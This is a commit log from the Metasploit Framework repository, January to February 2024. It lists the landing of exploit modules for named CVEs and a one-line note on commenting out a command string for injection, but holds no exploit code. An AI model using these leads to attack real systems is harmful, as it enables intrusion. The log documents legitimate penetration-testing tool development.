Spencer McIntyre 2cf706e91f Use the dns entry index instead of unique IDs 2024-02-08 11:22:33 -05:00
Spencer McIntyre 43a7993215 Show the matching rule for DNS resolution 2024-02-08 11:22:33 -05:00
Spencer McIntyre 470a28921e Add dedicated help menus for subcommands with args 2024-02-08 11:22:33 -05:00
Spencer McIntyre 3c716041bd Add the blackhole resolver 2024-02-08 11:22:33 -05:00
Spencer McIntyre 3445c1b588 Add the system resolver for A and AAAA queries 2024-02-08 11:22:33 -05:00
Spencer McIntyre a5dc63617f Refactor resolver entries to unify them
Now resolution will match a single rule, but that rule can have multiple
servers.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 464d2eef73 Add a method for upstream resolvers from query args 2024-02-08 11:22:33 -05:00
Spencer McIntyre 7fe10d8613 Switch to a more generic upstream resolvers model
Upstream resolvers can be DNS servers or something else.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 282f97ba2d Add the flush-cache subcommand
Also rename purge to flush-entries and update descriptions to clarify
what exactly is being flushed.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 319cff7d3a Change the DNS timeout from 30 to 5 seconds
Also, add the #to_i method for timeouts
This makes it compatible with Rex Sockets later on
2024-02-08 11:22:33 -05:00
Spencer McIntyre fd943f1401 Make the resolve subcommand more like Meterpreter
Make the dns resolve subcommand more like the resolve command in
Meterpreter. Also alphabetize things.
2024-02-08 11:22:33 -05:00
Spencer McIntyre c780bfcb66 Add a DNS query command for inspection 2024-02-08 11:22:32 -05:00
Spencer McIntyre 20f73867ca Print the default domain and search list too 2024-02-08 11:22:32 -05:00
Spencer McIntyre 6fdfd7147c Print the system nameservers too 2024-02-08 11:22:32 -05:00
Spencer McIntyre 9181d93807 Search for a resolv.conf file 2024-02-08 11:22:32 -05:00
dwelch-r7 87e78d4f8d Land #18783, remove initialize warnings from rspec tests 2024-02-08 14:38:02 +00:00
Metasploit 0625e84b57 automatic module_metadata_base.json update 2024-02-08 07:04:19 -06:00
adfoster-r7 8b71afdd53 Land #18759, Updates MySQL modules to now support the new MySQL session type 2024-02-08 12:39:51 +00:00
Gaurav Jain 4dc21bae45 Merge branch 'rapid7:master' into manageengine 2024-02-08 15:11:15 +05:30
Metasploit d3bde6b172 Bump version of framework to 6.3.56 2024-02-08 03:38:37 -06:00
adfoster-r7 108e5afaea Land #18803, Remove all references to Msf::SymbolicModule 2024-02-07 21:50:16 +00:00
Gaurav Jain 25804edbf4 Add java targets for manageengine cve-2022-47966 modules 2024-02-08 01:55:52 +05:30
cgranleese-r7 02ae96edb0 Addresses RPORT not defaulting correctly 2024-02-07 16:07:15 +00:00
Dean Welch 792708c07b Remove all references to Msf::SymbolicModule 2024-02-07 15:08:47 +00:00
cgranleese-r7 b060809a8d Addresses logoff PR feedback 2024-02-07 12:51:04 +00:00
upsidedwn 4b5d04e59e Fix revision number checks in cve_2022_26904_superprofile.rb 2024-02-07 11:30:42 +08:00
upsidedwn ccb446f2ae Fix revision number checks for cve_2021_40449.rb 2024-02-07 11:28:00 +08:00
upsidedwn 436efad4ca Fix revision number checks 2024-02-07 11:25:41 +08:00
upsidedwn 47d30696bc Fix revision_number checks 2024-02-07 11:20:12 +08:00
h00die 84278b8e0e fix ofbiz auto detection 2024-02-06 16:45:02 -05:00
Jack Heysel ad45681116 Updated jwt_token format 2024-02-06 16:42:56 -05:00
Jack Heysel 92bbc47bd8 Changed tabs to spaces fixed msftidy 2024-02-06 15:54:33 -05:00
Jack Heysel 4bb871453e Rubocop 2024-02-06 15:44:06 -05:00
Jack Heysel 326b50bd4d Responded to comments 2024-02-06 15:22:21 -05:00
cgranleese-r7 e80f0ef8cd Removes session logic from mixins and uses client instead of datastore for rhost and rport 2024-02-06 14:11:16 +00:00
sfewer-r7 03a58c784b fix typo in variable name 2024-02-06 14:08:54 +00:00
cgranleese-r7 b72d8d16d4 Land #18782, Update Windows installation docs to mention requirement to install as Administrator 2024-02-06 13:05:04 +00:00
sfewer-r7 367783bcb5 add in RCE exploit for CVE-2024-21893 2024-02-06 11:49:04 +00:00
ekalinichev-r7 9ae54e08bc Update code formatting in Metasploit installation docs
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2024-02-06 11:35:50 +01:00
adfoster-r7 5975d668f6 Land #18773, Support CTRL + Z for interactive SQL REPL 2024-02-05 16:39:13 +00:00
adfoster-r7 b109fe0cf7 Land #18787, Temporarily remove PHP github action testing 2024-02-05 16:07:08 +00:00
adfoster-r7 12b188d186 Temporarily remove PHP github action testing 2024-02-05 14:36:26 +00:00
Metasploit aec2a82af4 automatic module_metadata_base.json update 2024-02-05 06:35:04 -06:00
Christophe De La Fuente d546db6055 Land #18780, runc cwd priv esc (docker) (cve-2024-21626) 2024-02-05 13:12:02 +01:00
sjanusz-r7 4039ae137a Support CTRL + Z for interactive SQL REPL 2024-02-05 11:14:51 +00:00
lihe07 29524fa7f8 Fix option collision in service_persistence
The option `SHELLPATH` collide with `cmd/unix/reverse_netcat`,
resulting in abnormal backdoors. This commit rename it to BACKDOOR_PATH
2024-02-03 23:18:45 +08:00
h00die 1e6cf524b9 rubocop on jenkins lib 2024-02-02 16:35:56 -05:00
h00die c37984edb2 jenkins cli ampersand exploit review 2024-02-02 16:35:11 -05:00
h00die cf2f76e6a2 cve-2024-21626 review 2024-02-02 16:27:02 -05:00
Zach Goldman 23e184c9ce Fix removing initialize warnings 2024-02-02 11:04:44 -06:00
Metasploit 77a2340b34 automatic module_metadata_base.json update 2024-02-02 11:02:14 -06:00
Jack Heysel 85974d16c2 Land #18769, Add Cacti RCE via SQLi Module
This exploit module leverages a SQLi (CVE-2023-49085) and
a LFI (CVE-2023-49084) vulnerability in Cacti versions prior
to 1.2.26 to achieve RCE
2024-02-02 11:46:10 -05:00
Metasploit ef8f8bc8d3 automatic module_metadata_base.json update 2024-02-02 09:12:30 -06:00
cgranleese-r7 577304cf7c Updates more modules 2024-02-02 14:59:56 +00:00
cgranleese-r7 ae1cb57dc3 Updates MySQL modules to now support the new MySQL session type 2024-02-02 14:59:56 +00:00
adfoster-r7 46e34e5362 Land #18718, Add MySQL session type 2024-02-02 14:57:10 +00:00
Metasploit bb3e872bc5 automatic module_metadata_base.json update 2024-02-02 08:45:20 -06:00
cgranleese-r7 0e9cad6d45 Adds MySQL session type 2024-02-02 14:39:37 +00:00
Jeffrey Martin bed552d26e set error on unsupported LDAP auth 2024-02-02 08:36:00 -06:00
adfoster-r7 48221e594d Land #18704, Leverage the module metadata cache in the module_sets 2024-02-02 14:16:46 +00:00
adfoster-r7 7ac4387d35 Land #18696, Convert MSSQL mixin to class 2024-02-02 14:14:34 +00:00
Christophe De La Fuente b91648f065 Fix typos 2024-02-02 11:45:51 +01:00
Metasploit 41b517d809 automatic module_metadata_base.json update 2024-02-02 04:40:21 -06:00
Christophe De La Fuente 1ff1302df7 Use exceptions instead of returning a boolean in do_login 2024-02-02 11:39:13 +01:00
adfoster-r7 372b792b8c Land #18761, Add alert to show user the new session options available in Metasploit 6.4 2024-02-02 10:25:32 +00:00
Simon Janusz 18ea7b39af Land #18779, Update PHP Github action for acceptance tests 2024-02-02 10:13:28 +00:00
Egor Kalinichev 02311bf94a Update Windows installation docs to mention requirement to install as Administrator 2024-02-02 10:57:01 +01:00
Metasploit 6132264dcd automatic module_metadata_base.json update 2024-02-01 22:02:34 -06:00
Jack Heysel be2d2d61ca Land #18762, Add exploit module for CVE-2024-0204
This pull request adds an exploit module for CVE-2024-0204
in Fortra GoAnywhere MFT. GoAnywhere MFT versions 6.x from
6.0.1, and 7.x before 7.4.1 are vulnerable.
2024-02-01 22:36:32 -05:00
Zach Goldman 35778e92b2 client consolidation
convert first module from remote to client

move client to rex

remove metasploit mixin
2024-02-01 17:23:55 -06:00
h00die 1c73cf938f cve-2024-21626 2024-02-01 15:28:04 -05:00
Jack Heysel 3c46f51924 Land #18753, Fix typo in alloc_and_write_wstring
The method str_to_uniz_a was being called but does not exist.
The actual method name is str_to_uni_z, this PR fixes that typo.
2024-02-01 15:09:16 -05:00
sfewer-r7 b259c5d6a7 store the credentials we create in the DB 2024-02-01 19:48:01 +00:00
sfewer-r7 612feac5f1 add in vendor advisory URL 2024-02-01 19:47:23 +00:00
Metasploit e21dcf34ed Bump version of framework to 6.3.55 2024-02-01 12:08:45 -06:00
adfoster-r7 d9defd40e4 Update PHP Github action for acceptance tests 2024-02-01 18:02:46 +00:00
Dean Welch 10dfe9c428 Remove prefix from alerts 2024-02-01 17:33:31 +00:00
Dean Welch 5193d30db7 Move message order 2024-02-01 17:17:58 +00:00
Christophe De La Fuente 81eba7a6e7 Use FileDropper mixin and fix typo 2024-02-01 17:23:05 +01:00
adfoster-r7 2a4d50c6e7 Fix source location tracking for ruby kernel patches 2024-02-01 15:38:30 +00:00
Jeffrey Martin 1c334ad670 address stack trace noticed in testing 2024-02-01 08:49:16 -06:00
Jeffrey Martin e5b5f12a4e add missing sasl mechanism constant
* support mechanism reported as NTLM or GSS-SPNEGO
* return ResultCodeAuthMethodNotSupported for unknown bindRequest auth
2024-02-01 08:44:55 -06:00
Christophe De La Fuente 5054b3bfd0 Add methods to get the version and the CSRF token 2024-02-01 12:31:01 +01:00
Stephen Fewer a867793870 Update modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-01 09:05:02 +00:00
Stephen Fewer 546de49bec Update modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-01 09:04:49 +00:00
Stephen Fewer 6e4294c013 Update modules/exploits/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-01 09:04:26 +00:00
cudalac 2b01b86374 Adding new module for MinIO 2024-01-31 13:33:04 -05:00
Metasploit 15d22d2807 automatic module_metadata_base.json update 2024-01-30 18:40:48 -06:00
Jack Heysel 024b855231 Land #18628, Add Puppet post module
This PR adds a post gather module to get
Puppet configs and sensitive files.
2024-01-30 19:20:48 -05:00
h00die bf6d2de53d docs 2024-01-30 18:03:57 -05:00
h00die c6c1414908 docs 2024-01-30 17:57:52 -05:00
h00die 473672047f updates to jenkins ccli ampersand file read 2024-01-30 17:56:59 -05:00
h00die 064a2f3468 updates to jenkins ccli ampersand file read 2024-01-30 17:12:10 -05:00
Metasploit c8d2727023 automatic module_metadata_base.json update 2024-01-30 12:02:57 -06:00
Dean Welch 764a87fda8 nil check and fix mock 2024-01-30 17:51:40 +00:00
adfoster-r7 4d0ba2fa1d Land #18742, Memory search module improvements 2024-01-30 17:39:12 +00:00
Dean Welch 1abaef4945 Move new session information alerts behind a feature flag 2024-01-30 16:38:00 +00:00
Metasploit 056ed770b5 automatic module_metadata_base.json update 2024-01-30 10:05:09 -06:00
Jack Heysel 59df04be97 Land #18755, Add an exploit for Mirth Connect RCE
This PR add an exploit module for both CVE-2023-43208
and CVE-2023-37679 where the former is a patch bypass
for the later.
2024-01-30 10:33:47 -05:00
Christophe De La Fuente f10619d870 Add module and documentation 2024-01-30 12:52:02 +01:00
h00die ab4f83ffbe additional documentation for CVE-2024-23897 2024-01-29 19:50:17 -05:00
h00die 6702dd0195 review comments for puppet module 2024-01-29 19:21:25 -05:00
h00die 68f333cb7b review comments for puppet module 2024-01-29 19:18:54 -05:00
h00die 2c0f99a649 initial POC for jenkins CVE-2024-23897 2024-01-29 17:25:16 -05:00
h00die 2efbf6e2f5 review comments 2024-01-29 17:21:06 -05:00
Spencer McIntyre 44916e67d5 Check if the SMB share exists before overwriting 2024-01-29 16:55:25 -05:00
Spencer McIntyre 3d476f4ef3 Add the missing #on_client_connect method 2024-01-29 16:44:32 -05:00
Spencer McIntyre b9cf7ba894 Fix an issue where info would raise an exception
Fix instances where the `info` command would raise an exception while
generating the payload to calculate its length.
2024-01-29 16:44:32 -05:00
Spencer McIntyre 1c36d89942 Fix a double deref issue with the HTTP service 2024-01-29 16:44:32 -05:00
Spencer McIntyre c9504f9c53 Update the payload specs 2024-01-29 16:44:32 -05:00
Spencer McIntyre 96316a94fe Initial SMB server for fetch payloads 2024-01-29 16:44:28 -05:00
Spencer McIntyre 577898d91b Check the response when exploiting 2024-01-29 14:38:49 -05:00
Spencer McIntyre b5906418c2 Update the HashCapture mixin
Use #srvport instead of the datastore and pull in upstream chanes for
the metasploit-credential gem to enable use within payloads.
2024-01-29 13:35:56 -05:00
Spencer McIntyre 33306fa4dd The SRVPORT is already registered
The SRVPORT datastore option is registered by the Remote::SMB::Server
mixin so including it here is redundant.
2024-01-29 13:35:54 -05:00
Spencer McIntyre a8c240f671 Refactor existing fetch work
* Build the HTTPS server on top of HTTP instead of the other way around
* Set the fetch service to nil after it has been cleaned up
* Don't capitalize the H in the word handler
* Check if the fetch_service is truthy before cleaning it up
* Remove the unused FetchServerName datastore option
* Fixup the description text
* Don't allow slashes in fetch file names
* Also add the #fetch_bindnetloc method

Fix a problem in fetch/tftp.rb
2024-01-29 13:34:56 -05:00
sfewer-r7 c70092a2c7 bugfix a copy pasta whereby a path seperator was not being added as expected 2024-01-29 17:52:37 +00:00
sfewer-r7 08a19959fe add an RCE exploit module for CVE-2024-0204 in Fortra GoAnywhere MFT 2024-01-29 17:17:45 +00:00
Spencer McIntyre b5de25a2b6 Fingerprint the target as Mirth Connect first 2024-01-29 12:11:38 -05:00
Dean Welch 9a2ec90c16 Add alert to show user the new session options available in Metasploit 6.4 2024-01-29 17:06:21 +00:00
dwelch-r7 e5f96bdbe1 Land #18760, Ensure DNS command config loading does not crash msfconsole 2024-01-29 14:53:15 +00:00
Spencer McIntyre 8a793dd1b0 Use the correct exploit and use sh instead of bash 2024-01-29 09:03:25 -05:00
adfoster-r7 7ce13101df Ensure DNS command config loading does not crash msfconsole 2024-01-29 13:23:18 +00:00
h00die 779da83d59 gitlab password reset account takeoever review 2024-01-27 07:44:11 -05:00
h00die e6c4195ad3 gitlab password reset account takeoever review 2024-01-27 07:42:25 -05:00
ErikWynter 26e2b2e319 Add docs for opennms authenticated rce 2024-01-27 01:13:22 +02:00
ErikWynter 14181572c1 add PRIVESC_SAVE_DELAY option for opennms authenticated RCE 2024-01-27 01:13:04 +02:00
Spencer McIntyre 9e41825e51 Finish up the exploit
Tested on Linux (versions 4.1.1, 4.3.0, and 4.4.0) and Windows (version
4.4.0).
2024-01-26 17:20:54 -05:00
ErikWynter acc15c23fe Add code review changes to opennms auth rce 2024-01-27 00:10:45 +02:00
bwatters d05b85de50 Land #18680, Shared SMB Service
Merge branch 'land-18680' into upstream-master
2024-01-26 14:42:11 -06:00
Spencer McIntyre 97a3e0291e Bump ruby_smb to 3.3.2
This pulls in the changes from rapid7/ruby_smb#260 which adds the
 #remove_share method that is needed for cleanup.
2024-01-26 14:56:57 -05:00
Spencer McIntyre 530d58de49 Initial commit of NextGen Connect RCEs 2024-01-26 14:50:33 -05:00
Gaurav Jain 38c9185564 Add reviewed changes 2024-01-26 22:58:00 +05:30
upsidedwn 9391e11202 Fix typo in alloc_and_write_wstring calling non-existent method
`str_to_uniz_a` does not exist, updated to `str_to_uni_z`. Looking at cross-references, only two modules use this method to convert from ruby strings to null-terminated WCHARs. Updated the comments to clarify usage of this method and fixed the typo.
2024-01-27 00:01:03 +08:00
dwelch-r7 7a7c7eb177 Land #18750, Update payload to_handler command to support option overrides 2024-01-26 15:15:02 +00:00
adfoster-r7 94eeba3521 Update payload to_handler command to support option overrides 2024-01-26 12:37:36 +00:00
Metasploit 5ea35c9ffb Bump version of framework to 6.3.54 2024-01-26 04:36:49 -06:00
dwelch-r7 3cbbfe65f1 Land #18744, Fix flakey opt address local spec 2024-01-26 10:33:47 +00:00
adfoster-r7 2f97f86f49 Land #18746, ensure the generate command does not update the module database 2024-01-25 19:40:28 +00:00
Metasploit 251305d26b automatic module_metadata_base.json update 2024-01-25 13:33:17 -06:00
Jack Heysel fe84c0dff7 Land #18734, Add exploit for CVE-2023-22527
This adds an exploit for CVE-2023-22527 which is an
unauthenticated RCE in Atlassian Confluence. The
vulnerability is due to an SSTI flaw that allows an
OGNL expression to be evaluated.
2024-01-25 14:15:10 -05:00
Spencer McIntyre 96241b3a6e Keep version detection consistent 2024-01-25 13:50:34 -05:00
Spencer McIntyre 6ad359ee96 Don't change the main modules datastore options 2024-01-25 13:47:09 -05:00
Jeffrey Martin 4cb18483d6 cleanup LDAP NTLM type2 response 2024-01-25 10:56:25 -06:00
Metasploit 7a385431cb automatic module_metadata_base.json update 2024-01-25 09:18:19 -06:00
Christophe De La Fuente 44bf6867c6 Land #18737, Update metasploit-payloads gem to 2.0.165 2024-01-25 15:49:25 +01:00
Spencer McIntyre 49532613e5 Implement some feedback from the review 2024-01-25 09:20:17 -05:00
adfoster-r7 5c25bfd908 Fix flakey opt address local spec 2024-01-25 12:33:21 +00:00
sjanusz-r7 502511a71a memory_search module improvements 2024-01-24 19:55:53 +00:00
sjanusz-r7 f496a71cf0 Make mimipenguin work with updated memory search API 2024-01-24 19:53:57 +00:00
sjanusz-r7 aac74778b9 Move memory search method to Meterpreter stdapi 2024-01-24 19:53:30 +00:00
Spencer McIntyre deabf9b1d8 Add module docs 2024-01-24 12:49:27 -05:00
adfoster-r7 995c806d81 Land #18740, Remove invalid modification time test 2024-01-24 13:27:29 +00:00
adfoster-r7 4784afae6a Land #18741, add ntpath tests 2024-01-24 12:48:47 +00:00
Dean Welch 56f6020ff5 Assert that the caches modification time is in fact a time 2024-01-24 12:10:22 +00:00
Dean Welch 3a076d6cdb Verify ntpath works as expected 2024-01-24 12:01:09 +00:00
Dean Welch f2a1d16fbc Verify ntpath works as expected 2024-01-24 11:59:31 +00:00
Dean Welch 057facea90 Remove invalid modification time test 2024-01-24 11:43:04 +00:00
Metasploit 288d4b8c20 automatic module_metadata_base.json update 2024-01-24 05:09:51 -06:00
adfoster-r7 15d0d4f0df Land #18663, Add new PostgreSQL Session Type 2024-01-24 10:46:26 +00:00
Metasploit 4f04f91b71 automatic module_metadata_base.json update 2024-01-23 14:39:21 -06:00
Jack Heysel 4c525dad66 Land #18648, Add enhancement to Asan check method
Before this PR when running asan_suid_executable_priv_esc
if the user did not set the SUID_EXECUTABLE option the
module would fail with an undescriptive error message.
This PR removes the default value of an empty string from
SUID_EXECUTABLE so now if it's not set the user is informed.
2024-01-23 15:22:33 -05:00
Metasploit 7bff3042db automatic module_metadata_base.json update 2024-01-23 14:16:11 -06:00
Jack Heysel c278ef9b73 Land #18648, Add Module for GL.iNet products
This PR adds an exploit module for a number of
different GL.iNet network products. The module combines
an auth by-pass CVE-2023-50919 with an RCE CVE-2023-50445.
2024-01-23 14:57:29 -05:00
Jeffrey Martin d20ef7a08b add LDAP to capture plugin 2024-01-23 13:52:35 -06:00
Jack Heysel 08f6da7b33 Removed default empty string for SUID_EXECUTABLE 2024-01-23 14:21:58 -05:00
Jeffrey Martin bcefde29c3 correct metadata for Actions usage 2024-01-23 12:13:24 -06:00
jheysel-r7 13d2968fad Capitalize remaining references to Meterpreter 2024-01-23 13:11:03 -05:00
Metasploit 21b49be380 automatic module_metadata_base.json update 2024-01-23 11:17:05 -06:00
sjanusz-r7 73dbe2e89d Add PostgreSQL multi-line query transform tests 2024-01-23 17:03:16 +00:00
Jack Heysel 904e34434e Land #18626, SaltStack Minion Deployer
This PR adds an exploit module which allows for
a user who has compromised a host acting as a
SaltStack Master to deploy payloads to the Minions
attached to that Master.
2024-01-23 11:58:38 -05:00
Metasploit 15652bc29c automatic module_metadata_base.json update 2024-01-23 10:16:14 -06:00
adfoster-r7 8c5628826f Land #18735, update iis_webdav_scstoragepathfromurl module metadata 2024-01-23 15:56:01 +00:00
bwatters 583d39b038 Land #18720, Mark unix encoders as compatible with linux
Merge branch 'land-18720' into upstream-master
2024-01-23 09:45:42 -06:00
Spencer McIntyre dd3d1a9397 Update metasploit-payloads gem to 2.0.165
Includes changes from:
* rapid7/metasploit-payloads#694
2024-01-23 10:42:14 -05:00
Metasploit 2b938d12e2 automatic module_metadata_base.json update 2024-01-23 07:25:19 -06:00
adfoster-r7 a25b0ee5e0 Land #18713, Add generic memory search post/multi module 2024-01-23 12:57:24 +00:00
h00die-gr3y 8d7907edee Update based on @jheysel-r7 comments 2024-01-23 10:10:21 +00:00
Metasploit 11d1a5938e automatic module_metadata_base.json update 2024-01-23 03:57:08 -06:00
Simon Janusz 7411dc1b1b Land #17634, Add additional reliability and stability notes to modules 2024-01-23 09:42:15 +00:00
Metasploit 71fb0876f6 automatic module_metadata_base.json update 2024-01-22 21:17:56 -06:00
Jack Heysel 953382731e Land #18645, improve glibc tunables exploit
This PR adds a way to get the Build ID from ld.so by
using the perf command. Before this the module depended
on file and readelf being installed to get the Build ID.
2024-01-22 22:00:28 -05:00
aleksa 67e402e1be Added Notes 2024-01-22 19:12:21 -05:00
adfoster-r7 094d6ee36b Add additional reliability and stability notes to modules 2024-01-22 23:29:57 +00:00
aleksa e9e5a44522 Updated with side effects 2024-01-22 18:03:28 -05:00
aleksa 8e3fbcae26 notes added to storage path exploit. 2024-01-22 17:55:26 -05:00
Spencer McIntyre b8a0e33ce3 Initial exploit for CVE-2023-22527 2024-01-22 17:06:29 -05:00
Metasploit 6430b3f138 automatic module_metadata_base.json update 2024-01-22 11:56:29 -06:00
bwatters 46a0052286 Land #18568, added exploit for CVE-2023-32781 - PRTG authenticated RCE
Merge branch 'land-18568' into upstream-master
2024-01-22 11:35:38 -06:00
sjanusz-r7 2bd93ae72c Use a glob for memory_search PROCESS_NAMES_GLOB 2024-01-22 16:53:32 +00:00
sjanusz-r7 f8bdb02593 Validate memory_search PROCESS_IDS using regex 2024-01-22 16:53:00 +00:00
adfoster-r7 4921f6bbd1 Land #18712, Fix undefined method error in /api/v1/modules endpoint 2024-01-22 15:06:52 +00:00
sjanusz-r7 1fe448f2f4 Revert remote/postgres verbosity changes 2024-01-22 14:27:38 +00:00
sjanusz-r7 9de20d3c7f Add additional comments to PostgreSQL cmd_run_help 2024-01-22 14:02:10 +00:00
Spencer McIntyre d8bdc258fb Land #18729, Fix a typo in Metasploit-Guide-SMB.md 2024-01-22 08:59:46 -05:00
sjanusz-r7 7f0f65d867 Align PostgreSQL Shell REPL output with psql utility 2024-01-22 13:56:09 +00:00
Dean Welch 82e9c2703f Improve module ranking performance 2024-01-22 12:40:24 +00:00
sjanusz-r7 e58ef0fee4 Add Reline requirement comment 2024-01-22 10:48:13 +00:00
sjanusz-r7 a5dcf5a2f4 Fix PostgreSQL autoruns 2024-01-22 10:47:34 +00:00
Kevin Joensen dfa54d02b9 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2024-01-22 10:10:14 +01:00
Poupapaa 8af928ec36 Update Metasploit-Guide-SMB.md
Fixed tiny typo:

Other terminology to be aware of:
- SMB - Ser**v**er Message Blocks
2024-01-22 09:01:04 +01:00
Jack Heysel aa30a00c0e Rubocop 2024-01-21 19:45:29 -05:00
Jack Heysel 7a5fe5b32c Randomized payload plus minor fixes 2024-01-21 19:04:14 -05:00
h00die-gr3y 919c846064 Final small updates (removed UDP and corrected typo in release date 2024-01-20 11:27:10 +00:00
jheysel-r7 be631e5213 Apply remaining suggestions from jvoisin
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-19 20:32:49 -05:00
jheysel-r7 5f1fa2a678 Apply suggestions from jvoisin
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-19 20:30:53 -05:00
Metasploit 37e82384e4 automatic module_metadata_base.json update 2024-01-19 16:26:22 -06:00
Spencer McIntyre 06dcc82ced Land #18630, Add CVE-2023-50917: MajorDoMo RCE
Add CVE-2023-50917: MajorDoMo Command Injection Module
2024-01-19 17:10:40 -05:00
Metasploit 9db6ac7e3c automatic module_metadata_base.json update 2024-01-19 16:03:20 -06:00
bwatters fadb0f45dd Land #18708, Ivanti Connect Secure RCE exploit module (CVE-2023-46805 and CVE-2024-21887)
Merge branch 'land-18708' into upstream-master
2024-01-19 15:47:43 -06:00
Jack Heysel 9e5783a3e7 Rubocop 2024-01-19 15:42:39 -05:00
Jack Heysel 31ebc8273a Added AutoCheck check in exploit method 2024-01-19 15:40:35 -05:00
Jack Heysel 854ec41db1 Initial commit 2024-01-19 15:22:22 -05:00
Spencer McIntyre b31abcc9b2 Mark unix encoders as compatible with linux
Fixes #18572
2024-01-19 13:40:43 -05:00
Dean Welch 763a97d40a Add test to ensure module ranking is consistent 2024-01-19 18:11:31 +00:00
Dean Welch 334a469d2c rank modules consistently 2024-01-19 17:50:31 +00:00
adfoster-r7 f56c9fc9ac Land #18662, Fix dns resolution skipping over nameservers with valid responses 2024-01-19 16:44:16 +00:00
Dean Welch 391bc4e69e shuffle platform parsing and code quality 2024-01-19 14:30:34 +00:00
Metasploit eb570f883a automatic module_metadata_base.json update 2024-01-19 06:27:27 -06:00
ekalinichev-r7 847a72c417 Land #18638, add exploit for CVE-2022-42889 Apache Commons Text RCE 2024-01-19 13:02:53 +01:00
sjanusz-r7 b1fb58749b Use PostgreSQL session type for postgres_schemadump 2024-01-19 10:29:44 +00:00
sjanusz-r7 fbdb025542 Notify user on failed Postgres connection 2024-01-19 10:29:44 +00:00
sjanusz-r7 a4305f0ca0 Allow PostgreSQL lib to use session client 2024-01-19 10:29:44 +00:00
sjanusz-r7 5d7251ce44 Add PostgreSQL session type tests 2024-01-19 10:29:44 +00:00
sjanusz-r7 23a9938283 Add PostgreSQL session type 2024-01-19 10:29:37 +00:00
h00die 482d2b28b1 gitlab password reset account takeoever 2024-01-18 16:19:26 -05:00
Gaurav Jain fd3ca96988 Update splunk cve-2023-32707 to use splunk library 2024-01-19 01:56:15 +05:30
Metasploit d60e38220e Bump version of framework to 6.3.53 2024-01-18 12:08:11 -06:00
Gaurav Jain 97ef243d2e Add Splunk library 2024-01-18 22:47:13 +05:30
sfewer-r7 de6ed9e1d6 use get_json_document instead of JSON.parse 2024-01-18 15:35:43 +00:00
sjanusz-r7 6ca4c113ee Get memory match length from buffer TLV length for Mettle 2024-01-18 11:08:38 +00:00
sjanusz-r7 337400b9b8 Remove AARCH64 reference 2024-01-18 11:08:38 +00:00
sjanusz-r7 1e7b74a0e5 Correctly use process glob when searching for processes 2024-01-18 11:08:34 +00:00
sfewer-r7 4ff399844f By replacing the trailing ';' with a '#' we comment out the remaining portion of the command string (Thank you @jvoisin). We must also include a space character for this to work as expected, doing so also removes the need to bootstrap the Linux payloads with a separate file. 2024-01-18 10:04:38 +00:00
Stephen Fewer c74fd86961 Update modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-18 09:18:46 +00:00
Stephen Fewer 3bb1d2bc02 Update modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-18 09:18:35 +00:00
Stephen Fewer 5ba4aba912 Update documentation/modules/exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805.md
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2024-01-18 09:18:28 +00:00
Metasploit 39b094313f automatic module_metadata_base.json update 2024-01-17 12:01:09 -06:00
Christophe De La Fuente b8aa55c322 Land #18633, WordPress Backup Migration Plugin PHP Filter Chain RCE (CVE-2023-6553) 2024-01-17 18:42:52 +01:00
sjanusz-r7 6d14a244a4 Add generic memory search module documentation 2024-01-17 15:55:26 +00:00
sjanusz-r7 977a9f3cd4 Add generic memory search module for supported Meterpreter sessions 2024-01-17 15:55:23 +00:00
Metasploit 40c8c63529 automatic module_metadata_base.json update 2024-01-17 09:04:48 -06:00
sjanusz-r7 e238df4ad7 Bump metasploit-payloads to 2.0.164 2024-01-17 15:02:59 +00:00
Christophe De La Fuente a8d46b3e7a Land #18627, Ansible: post gather module, payload deployer, and file reader 2024-01-17 15:26:25 +01:00
adfoster-r7 f5691e747f Land #18710, Fix uninitialized exploit driver exception 2024-01-17 14:17:58 +00:00
Christophe De La Fuente 6dec82ec24 Remove exec.nil? statement 2024-01-17 15:06:15 +01:00
Egor Kalinichev 9ec36f3d4d Fix undefined method error in /api/v1/modules endpoint 2024-01-17 13:17:38 +01:00
sfewer-r7 2919b36f2b add in docs 2024-01-17 10:25:04 +00:00
sfewer-r7 70ef0dcb0d improve the check logic to fall through when the json doesnt have the key we expect it to have 2024-01-17 10:02:59 +00:00
sfewer-r7 518c1e5d3c mention Pull Connect as well as the CVEs in the description 2024-01-17 10:02:11 +00:00
sfewer-r7 ad7e348eaa remove a copy pasta link 2024-01-17 09:16:18 +00:00
h00die d7cf9155a6 ofbiz working for 18.12.09 2024-01-16 20:06:11 -05:00
adfoster-r7 1ac2b3b8e1 Fix unitialized exploit driver exception 2024-01-16 22:35:15 +00:00
Jack Heysel 607a2789d0 Revert "Changed payload double quote to single"
This reverts commit f1586f08c3.
2024-01-16 14:49:22 -05:00
Metasploit 54788067ff automatic module_metadata_base.json update 2024-01-16 13:46:58 -06:00
adfoster-r7 1ba704b1cb Land #18398, Update deprecated report_auth_info in various modules 2024-01-16 19:30:56 +00:00
Dean Welch 46273d5f08 Add test run with defer module loads feature enabled 2024-01-16 17:40:55 +00:00
sfewer-r7 f9419c4839 seperate commands into an array instead of one bog long string 2024-01-16 17:19:13 +00:00
sfewer-r7 ea1dafa353 this is a slightly nicer way to write this 2024-01-16 17:08:09 +00:00
Dean Welch 236f88541f Parse platform list within module metadata object 2024-01-16 14:53:05 +00:00
